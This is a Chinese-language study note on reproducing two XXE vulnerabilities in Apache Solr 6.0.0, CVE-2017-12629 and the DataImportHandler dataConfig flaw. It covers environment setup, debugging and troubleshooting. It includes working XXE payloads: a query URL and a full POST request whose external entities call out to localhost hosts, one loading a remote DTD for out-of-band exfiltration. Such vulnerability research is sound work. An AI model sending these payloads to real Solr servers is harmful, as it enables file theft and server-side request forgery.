Solr漏洞分析(一).md

环境搭建

  • 源码版本: lucene-solr-releases-lucene-solr-6.0.0
  • IDE: IDEA
  • 系统: OSX

    Ant工具

  • Mac安装Ant

    1
    brew install ant
  • Ant编译Solr

    1
    2
    3
    4
    5
    6
    7
    ant idea  # 将solr源码编译成intellij idea的项目
    ant ivy-bootstrap

    cd solr
    ant server # 创建solr server

    ant使用的配置文件一般是build.xml

调试

进入lucene-solr\solr\bin文件夹中,运行solr start -p 8988 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988"

IDEA中配置-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8988

漏洞复现

只复现两个XXE漏洞

CVE-2017-12629

1
2
3
4
solr create -c test  # 创建核心test

payload:
http://localhost:8988/solr/test/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}

Solr DIH dataConfig参数XXE漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
solr create -c test  # 创建核心test

payload请求:
POST /solr/test/dataimport?_=1551604400819&indent=on&wt=json HTTP/1.1
Host: 127.0.0.1:8988
Pragma: no-cache
Origin: http://127.0.0.1:8988
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Cache-Control: no-cache
Referer: http://127.0.0.1:8988/solr/
Connection: close
Content-Length: 269

command=full-import&verbose=false&clean=true&commit=true&optimize=false&core=test&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:8082%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

遇到的问题

  1. 没有DataImport功能,界面中报错Sorry, no dataimport-handler defined!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    参考
    http://blog.sina.com.cn/s/blog_4ada05f50102wmkm.html

    https://stackoverflow.com/questions/13913915/org-apache-solr-common-solrexception-error-loading-class-org-apache-solr-handl

    一句话就是需要在核心test的配置文件添加配置,文件配置路径:solr/server/solr/test/conf/solrconfig.xml

    添加如下:
    <requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
    <lst name="defaults">
    <str name="config">db-data-config.xml</str>
    </lst>
    </requestHandler>

    添加后会遇到两个新的问题
    1. db-data-config.xml找不到
    解决办法:find lucene-solr-releases-lucene-solr-6.0.0 -name "db-data-config.xml"找到配置文件后,copy过去
    2. org.apache.solr.handler.dataimport.DataImportHandler这个类找不到
    解决办法:参考链接,solrconfig.xml配置文件中添加lib包 <lib dir="${solr.install.dir:../../../..}/dist/" regex=".*dataimporthandler-.*\.jar" />
  2. IDEA不支持类的定义的跳转,can not resolve symbol

    1
    2
    3
    1. File->Invalidate Cache

    设置jdk版本为低版本
  3. 不能在DocumentBuilderFactory下断点

    1
    IDEA可以在任意异常处下断点,也很容易找到漏洞触发位置
  4. 从关键字往回倒时怎么挖?(漏洞作者怎么挖的)

    1
    调CoreParser类的parse函数的地方太多了
  5. Solr到底是个什么鬼?

    1
    参考 https://www.cnblogs.com/leeSmall/category/1210814.html

参考